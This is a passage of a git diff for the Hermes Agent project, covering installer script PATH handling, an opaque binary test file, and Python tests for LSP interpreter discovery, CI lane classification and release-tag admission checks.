"$HOME/.zshrc" ]; then + SHELL_CONFIG="$HOME/.zshrc" + elif [ -f "$HOME/.bashrc" ]; then + SHELL_CONFIG="$HOME/.bashrc" + elif [ -f "$HOME/.bash_profile" ]; then + SHELL_CONFIG="$HOME/.bash_profile" + fi + fi + + if [ -n "$SHELL_CONFIG" ]; then + # Touch the file just in case it doesn't exist yet but was selected + touch "$SHELL_CONFIG" 2>/dev/null || true + + if ! echo "$PATH" | tr ':' '\n' | grep -q "^$HOME/.local/bin$"; then + if ! grep -q '\.local/bin' "$SHELL_CONFIG" 2>/dev/null; then + echo "" >> "$SHELL_CONFIG" + echo "# Hermes Agent — ensure ~/.local/bin is on PATH" >> "$SHELL_CONFIG" + echo 'export PATH="$HOME/.local/bin:$PATH"' >> "$SHELL_CONFIG" + echo -e "${GREEN}✓${NC} Added ~/.local/bin to PATH in $SHELL_CONFIG" + else + echo -e "${GREEN}✓${NC} ~/.local/bin already in $SHELL_CONFIG" + fi + else + echo -e "${GREEN}✓${NC} ~/.local/bin already on PATH" + fi fi - fi fi # ============================================================================ @@ -428,7 +220,7 @@ mkdir -p "$HERMES_SKILLS_DIR" echo "" echo "Syncing bundled skills to ~/.hermes/skills/ ..." -if "$SCRIPT_DIR/venv/bin/python" "$SCRIPT_DIR/tools/skills_sync.py" 2>/dev/null; then +if [ -n "$PYBIN" ] && "$PYBIN" "$SCRIPT_DIR/tools/skills_sync.py" 2>/dev/null; then echo -e "${GREEN}✓${NC} Skills synced" else # Fallback: copy if sync script fails (missing deps, etc.) @@ -447,40 +239,18 @@ echo -e "${GREEN}✓ Setup complete!${NC}" echo "" echo "Next steps:" echo "" -if is_termux; then - echo " 1. Run the setup wizard to configure API keys:" - echo " hermes setup" - echo "" - echo " 2. Start chatting:" - echo " hermes" - echo "" -else - echo " 1. Reload your shell:" - echo " source $SHELL_CONFIG" - echo "" - echo " 2. Run the setup wizard to configure API keys:" - echo " hermes setup" - echo "" - echo " 3. Start chatting:" - echo " hermes" - echo "" -fi -echo "Other commands:" -echo " hermes status # Check configuration" -if is_termux; then - echo " hermes gateway # Run gateway in foreground" -else - echo " hermes gateway install # Install gateway service (messaging + cron)" -fi -echo " hermes cron list # View scheduled jobs" -echo " hermes doctor # Diagnose issues" +echo " 1. Activate the dev environment (venv-style, in THIS shell):" +echo " source ./activate" +echo "" +echo " 2. Run the setup wizard to configure API keys:" +echo " hermes setup" +echo "" +echo " 3. Start chatting:" +echo " hermes" +echo "" +echo "Other commands:" +echo " hermes pm install # Re-run the tool + dependency install" +echo " hermes status # Check configuration" +echo " hermes doctor # Diagnose issues" +echo " deactivate # Undo the activation (restore PATH etc.)" echo "" - -# Ask if they want to run setup wizard now -read -p "Would you like to run the setup wizard now? [Y/n] " -n 1 -r -echo -if [[ $REPLY =~ ^[Yy]$ ]] || [[ -z $REPLY ]]; then - echo "" - # Run directly with venv Python (no activation needed) - "$SCRIPT_DIR/venv/bin/python" -m hermes_cli.main setup -fi diff --git a/skills/productivity/google-workspace/scripts/setup.py b/skills/productivity/google-workspace/scripts/setup.py index 375fcd9737..de2b938ba3 100644 --- a/skills/productivity/google-workspace/scripts/setup.py +++ b/skills/productivity/google-workspace/scripts/setup.py @@ -56,7 +56,7 @@ SCOPES = [ ] # Exact pins: keep in sync with pyproject.toml [project.optional-dependencies].google -# and tools/lazy_deps.py LAZY_DEPS['skill.google_workspace']. +# and the pyproject 'google' extra. # Pinning all protects against version drift and ensures the security floors # (httplib2 GHSA-j5g9-f88f-gfj3, stale pyasn1/google-auth) are honoured # regardless of install path. diff --git a/test.txt b/test.txt new file mode 100644 index 0000000000000000000000000000000000000000..218dba67e3cf5c1430a055ec89e621884a7697f4 GIT binary patch literal 52214 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 JMo^7}{};z*4zmCN literal 0 HcmV?d00001 diff --git a/tests/agent/lsp/test_install_and_lint_fixes.py b/tests/agent/lsp/test_install_and_lint_fixes.py index b614cee50f..4043215bb2 100644 --- a/tests/agent/lsp/test_install_and_lint_fixes.py +++ b/tests/agent/lsp/test_install_and_lint_fixes.py @@ -45,7 +45,14 @@ def test_install_npm_works_without_extras(tmp_path, monkeypatch): from agent.lsp import install as install_mod monkeypatch.setattr(install_mod.subprocess, "run", fake_run) - monkeypatch.setattr(install_mod.shutil, "which", lambda c: "/usr/bin/npm" if c == "npm" else None) + # _install_npm resolves npm via hermes_constants.find_node_executable + # (managed Node first, PATH second) — not install_mod.shutil.which, so + # mock the actual seam or the early "no usable npm" return skips the + # subprocess entirely. + monkeypatch.setattr( + install_mod, "find_node_executable", + lambda c: "/usr/bin/npm" if c == "npm" else None, + ) install_mod._install_npm("pyright", "pyright-langserver") diff --git a/tests/agent/lsp/test_python_discovery.py b/tests/agent/lsp/test_python_discovery.py new file mode 100644 index 0000000000..ee968e9d15 --- /dev/null +++ b/tests/agent/lsp/test_python_discovery.py @@ -0,0 +1,83 @@ +"""LSP python discovery must resolve the pm store interpreter, not sniff +VIRTUAL_ENV. + +Under no-boot-through-venv the process is the store python +(``sys.prefix == sys.base_prefix``) and ``VIRTUAL_ENV`` is unset in bundled +installs, so the old ambient-env probe silently degraded to project-dir +probing. pm's ``python`` fact (facts.json + store layout) is the authority. +""" + +import json +import os +import sys +from pathlib import Path + +from agent.lsp.servers import _detect_python, _pm_store_python + + +def _seed_pm_python(tmp_path, monkeypatch, entry="python-3.11.13"): + """Stage a pm bundled-install layout: HERMES_RUNTIME_DIR -> store with a + manifest sibling (bundled), a python entry, and facts recording it.""" + payload = tmp_path / "payload" + store = payload / "tools" + python_entry = store / entry + python_entry.mkdir(parents=True) + exe = python_entry / ("python.exe" if sys.platform == "win32" else "bin/python3") + exe.parent.mkdir(parents=True, exist_ok=True) + exe.write_text("", encoding="utf-8") + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": {"python": {"entry": entry, "version": "3.11.13"}}, + } + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + return exe + + +def test_pm_store_python_resolved_without_virtual_env(tmp_path, monkeypatch): + """No VIRTUAL_ENV anywhere — the pm store interpreter is the answer.""" + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + exe = _seed_pm_python(tmp_path, monkeypatch) + + assert _pm_store_python() == str(exe) + assert _detect_python(str(tmp_path / "some-workspace")) == str(exe) + + +def test_no_pm_python_falls_back_to_project_layouts(tmp_path, monkeypatch): + """Without a pm python fact, project .venv candidates still resolve.""" + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "no-such-store")) + + dot_venv_bin = tmp_path / "proj" / ".venv" / "bin" + dot_venv_bin.mkdir(parents=True) + python = dot_venv_bin / "python" + python.write_text("", encoding="utf-8") + + assert Path(_detect_python(str(tmp_path / "proj"))) == python + + +def test_missing_store_entry_is_not_an_answer(tmp_path, monkeypatch): + """A python fact whose store entry is gone resolves to None (pm only + vouches for what is on disk).""" + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + payload = tmp_path / "payload" + store = payload / "tools" + store.mkdir(parents=True) + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": {"python": {"entry": "python-3.11.13", "version": "3.11.13"}}, + } + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + + assert _pm_store_python() is None diff --git a/tests/agent/lsp/test_workspace.py b/tests/agent/lsp/test_workspace.py index 8d96f902d6..3943e3f287 100644 --- a/tests/agent/lsp/test_workspace.py +++ b/tests/agent/lsp/test_workspace.py @@ -2,6 +2,7 @@ from __future__ import annotations import os +import sys from pathlib import Path import pytest @@ -70,6 +71,14 @@ def test_resolve_workspace_for_file_uses_cwd_first(tmp_path: Path, monkeypatch): def test_normalize_path_expands_tilde(monkeypatch): - monkeypatch.setenv("HOME", "/home/user") + # expanduser keys off USERPROFILE on native Windows, HOME elsewhere — + # set the var the running host actually consults (host-native rule: + # never fake the platform). + if sys.platform == "win32": + monkeypatch.setenv("USERPROFILE", r"C:\Users\fakeuser") + expected_base = r"C:\Users\fakeuser" + else: + monkeypatch.setenv("HOME", "/home/user") + expected_base = "/home/user" p = normalize_path("~/x.py") - assert p == os.path.abspath("/home/user/x.py") + assert p == os.path.abspath(os.path.join(expected_base, "x.py")) diff --git a/tests/agent/test_azure_identity_adapter.py b/tests/agent/test_azure_identity_adapter.py index 0ff9d7c7b0..937731b107 100644 --- a/tests/agent/test_azure_identity_adapter.py +++ b/tests/agent/test_azure_identity_adapter.py @@ -364,18 +364,17 @@ class TestRequireAzureIdentityMissing: monkeypatch.setattr("builtins.__import__", _fake_import) # Simulate lazy installs disabled. - from tools.lazy_deps import FeatureUnavailable + from pm import InstallError as FeatureUnavailable def _fake_ensure(*args, **kwargs): raise FeatureUnavailable( - "provider.azure_identity", - ("azure-identity==1.25.3",), + "azure-identity", "lazy installs disabled (test simulation)", ) - # The adapter calls ``ensure`` from ``tools.lazy_deps``; intercept + # The adapter calls ``ensure_import`` from ``pm``; intercept # it by patching the actual symbol path. - monkeypatch.setattr("tools.lazy_deps.ensure", _fake_ensure) + monkeypatch.setattr("pm.ensure_import", _fake_ensure) with pytest.raises(ImportError) as exc_info: _adapter._require_azure_identity() diff --git a/tests/ci/test_classify_changes.py b/tests/ci/test_classify_changes.py index 4902cbafc2..e5044b4927 100644 --- a/tests/ci/test_classify_changes.py +++ b/tests/ci/test_classify_changes.py @@ -35,13 +35,14 @@ DEFAULT = { "uv_lock": True, "npm_lock": True, "installer": True, + "bootstrap": True, "rust": True, "mcp_catalog": False, "ci_review": True, } -def _lanes(python=False, frontend=False, site=False, scan=False, deps=False, uv_lock=False, npm_lock=False, installer=False, rust=False, mcp_catalog=False, docker_meta=False, ci_review=False, python_prod=None, nix=None, docker=None) -> dict[str, bool]: +def _lanes(python=False, frontend=False, site=False, scan=False, deps=False, uv_lock=False, npm_lock=False, installer=False, bootstrap=False, rust=False, mcp_catalog=False, docker_meta=False, ci_review=False, python_prod=None, nix=None, docker=None) -> dict[str, bool]: # python_prod tracks python except for tests-only diffs; default it to # python so the majority of cases don't need to spell it out. # @@ -63,6 +64,7 @@ def _lanes(python=False, frontend=False, site=False, scan=False, deps=False, uv_ "uv_lock": uv_lock, "npm_lock": npm_lock, "installer": installer, + "bootstrap": bootstrap, "rust": rust, "mcp_catalog": mcp_catalog, "ci_review": ci_review, @@ -140,20 +142,20 @@ CASES = { # the ONLY lane a Rust change ran, and the crate's tests never executed. "rust source → rust": ( ["apps/bootstrap-installer/src-tauri/src/powershell.rs"], - _lanes(frontend=True, rust=True), + _lanes(frontend=True, bootstrap=True, rust=True), ), "cargo lockfile → rust": ( ["apps/bootstrap-installer/src-tauri/Cargo.lock"], - _lanes(frontend=True, rust=True), + _lanes(frontend=True, bootstrap=True, rust=True), ), # Non-.rs files in the crate still change what cargo builds. "tauri config → rust": ( ["apps/bootstrap-installer/src-tauri/tauri.conf.json"], - _lanes(frontend=True, rust=True), + _lanes(frontend=True, bootstrap=True, rust=True), ), "ts source alone → no rust lane": ( ["apps/bootstrap-installer/src/main.tsx"], - _lanes(frontend=True), + _lanes(frontend=True, bootstrap=True), ), # Unknown top-level file keeps Python on rather than risk a silent skip. "unknown toplevel → python": (["Makefile"], _lanes(python=True)), @@ -209,7 +211,7 @@ CASES = { ), "bootstrap-installer eslint config → ci_review": ( ["apps/bootstrap-installer/eslint.config.mjs"], - _lanes(frontend=True, ci_review=True), + _lanes(frontend=True, bootstrap=True, ci_review=True), ), "prettier config → ci_review": ( [".prettierrc"], @@ -219,6 +221,20 @@ CASES = { [".github/workflows/typecheck.yml"], DEFAULT, ), + # The bootstrap installer lane: shell installer, dev-checkout wrapper, + # and the Tauri app's non-Rust sources. + "install.sh → bootstrap lane": ( + ["scripts/install.sh"], + _lanes(python=True, bootstrap=True, python_prod=True), + ), + "setup-hermes.sh → bootstrap lane": ( + ["setup-hermes.sh"], + _lanes(python=True, bootstrap=True, python_prod=True), + ), + "tauri installer source → bootstrap + rust": ( + ["apps/bootstrap-installer/src-tauri/src/lib.rs"], + _lanes(frontend=True, bootstrap=True, rust=True), + ), "composite action → ci_review (also fail-open all)": ( [".github/actions/retry/action.yml"], DEFAULT, diff --git a/tests/ci/test_desktop_cli_entrypoints.py b/tests/ci/test_desktop_cli_entrypoints.py new file mode 100644 index 0000000000..37c2afa105 --- /dev/null +++ b/tests/ci/test_desktop_cli_entrypoints.py @@ -0,0 +1,61 @@ +"""Structural guards for the bundled payload's CLI entrypoint wiring. + +The rust shim (apps/desktop/shim) is gone: win32 payloads mint distlib +launcher exes, POSIX payloads stage $0-relative bash trampolines +(scripts/desktop-cli/, driven by scripts/build-bundled-desktop.mjs step 5b). +The real generators are exercised by apps/desktop/scripts/cli-launchers.test.mjs +(vitest) and tests/scripts/test_desktop_cli_wrapper.py / +test_mint_launchers.py; what a python CI test can still prove is the +STRUCTURE of the wiring, so a regression back to a compiled shim (or an +alias manifest still assuming one exe + argv[0] dispatch) fails loudly +even when the js/py suites aren't run on the lane. +""" + +from __future__ import annotations + + +from pathlib import Path + +_REPO = Path(__file__).resolve().parents[2] +_BUILD = _REPO / "scripts" / "build-bundled-desktop.mjs" +_BEFORE_BUILD = _REPO / "apps" / "desktop" / "scripts" / "before-build.mjs" + + + +def test_build_script_no_longer_compiles_a_rust_shim(): + text = _BUILD.read_text(encoding="utf-8") + assert "cargo build" not in text.lower(), "the desktop bundle must not need the rust toolchain" + assert "'cargo'" not in text and '"cargo"' not in text + assert "shim-target.txt" not in text, "the sidecar died with the rust shim" + + +def test_build_script_stages_the_desktop_cli_generators(): + text = _BUILD.read_text(encoding="utf-8") + for needle in ( + "cli-entrypoints.mjs", + "posixTrampolineScripts", + "renderWinWrapper", + "mint-launchers.py", + "launcher-wrapper.py", + ): + assert needle in text, f"build-bundled-desktop.mjs lost its wiring to {needle}" + # Minting runs on the payload's own store python (its arch IS the + # target arch — distlib picks the launcher stub by minting platform). + assert "pythonEntry" in text and "mint interpreter" in text + + +def test_before_build_declares_one_alias_extension_per_launcher_exe(): + text = _BEFORE_BUILD.read_text(encoding="utf-8") + # The minted exes are three REAL executables; an AppExecutionAlias's + # Executable must name the exact exe that serves the alias, so the + # builder emits one uap5:Extension per launcher, deriving the list from + # cli-entrypoints (no hardcoded, drifting names). + assert "CLI_LAUNCHER_SPECS" in text + assert "Executable=\"${executable(name)}\"" in text + assert '' in text + # The default IS the full launcher set. + assert "launchers = CLI_LAUNCHER_SPECS.map((s) => s.name)" in text + + +def test_the_shim_crate_is_gone(): + assert not (_REPO / "apps" / "desktop" / "shim").exists(), "apps/desktop/shim must be deleted" diff --git a/tests/ci/test_desktop_release_tag_admission.py b/tests/ci/test_desktop_release_tag_admission.py new file mode 100644 index 0000000000..6c65043bc2 --- /dev/null +++ b/tests/ci/test_desktop_release_tag_admission.py @@ -0,0 +1,225 @@ +"""Tag admission for .github/workflows/desktop-bundled-release.yml (plan item 7). + +The release build runs under the ``release-signing`` environment, so the +validate job must be more than a shape check: a correctly-shaped tag on an +unreviewed commit must never reach the signing build. Two layers are tested: + +* Structure — the workflow declares the admitted SHA as a job output and + every privileged job checks out THAT, not the (moveable) tag ref. +* Behavior — the admission script is executed, verbatim from the workflow + YAML, inside real temp git repositories: a tag on origin/main passes and + exports the full SHA; a tag-shaped ref NOT on main is refused. +""" + +from __future__ import annotations + +import os +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + +_REPO = Path(__file__).resolve().parents[2] +_WORKFLOW = _REPO / ".github" / "workflows" / "desktop-bundled-release.yml" +_SIGNING_ENV = "release-signing" + + +def _workflow() -> dict: + yaml = pytest.importorskip("yaml") + return yaml.safe_load(_WORKFLOW.read_text(encoding="utf-8")) + + +def _admission_script() -> str: + """The validate job's run script, verbatim — the single source of truth.""" + steps = _workflow()["jobs"]["validate"]["steps"] + scripts = [s for s in steps if isinstance(s, dict) and "run" in s] + assert len(scripts) == 1, "expected exactly one run step in the validate job" + return scripts[0]["run"] + + +def _checkout_refs(job: dict) -> list[str | None]: + refs = [] + for step in job.get("steps", []) or []: + if isinstance(step, dict) and "checkout" in step.get("uses", ""): + refs.append(step.get("with", {}).get("ref")) + return refs + + +# --------------------------------------------------------------------------- +# Structure: the admitted SHA is the only build input privileged jobs see. +# --------------------------------------------------------------------------- + + +def test_validate_exports_the_admitted_sha_as_a_job_output(): + wf = _workflow() + outputs = wf["jobs"]["validate"].get("outputs") or {} + assert "sha" in outputs, "validate must export the admitted SHA" + assert "steps.admission.outputs.sha" in outputs["sha"] + + +def test_admission_script_requires_ancestry_on_origin_main(): + script = _admission_script() + assert "merge-base --is-ancestor" in script + assert "origin/main" in script + assert "::error::" in script, "the refusal must be a loud, greppable error" + assert "GITHUB_OUTPUT" in script, "the resolved SHA must be exported" + + +def test_every_signing_job_checks_out_the_admitted_sha_not_the_tag(): + wf = _workflow() + privileged = { + name: job + for name, job in wf["jobs"].items() + if (isinstance(job, dict) and job.get("environment") == _SIGNING_ENV) + } + assert privileged, "walk broken: no release-signing jobs found" + + for name, job in privileged.items(): + refs = _checkout_refs(job) + for ref in refs: + assert ref == "${{ needs.validate.outputs.sha }}", ( + f"signing job {name!r} checks out {ref!r} — it must check out " + "the SHA validate admitted, never the tag ref" + ) + # jobs that need the SHA must actually need validate + for name, job in privileged.items(): + needs = job.get("needs") or [] + needs = [needs] if isinstance(needs, str) else needs + assert "validate" in needs, f"signing job {name!r} reads needs.validate.outputs.sha but does not need validate" + + +# --------------------------------------------------------------------------- +# Behavior: run the admission script against real repositories. +# --------------------------------------------------------------------------- + +bash = shutil.which("bash") +pytestmark = pytest.mark.skipif(bash is None, reason="bash is required to run the admission script") + + +def _native_tool(name: str) -> str: + """Resolve *name* to an executable CreateProcess can actually start. + + run_tests.sh / conftest blank SystemRoot/ComSpec for hermeticity, and on + this host PATH can point ``git``/``bash`` at the MSIX payload copy under + ``C:\\Program Files\\WindowsApps\\...`` — a store-app location that + fails CreateProcess with WinError 5 outside its package context. Prefer + a conventional install; give children a complete environment too. + """ + candidates = [hit for hit in (shutil.which(name),) if hit] + if sys.platform == "win32": + git_base = Path(os.environ.get("ProgramFiles", r"C:\Program Files")) / "Git" + for rel in 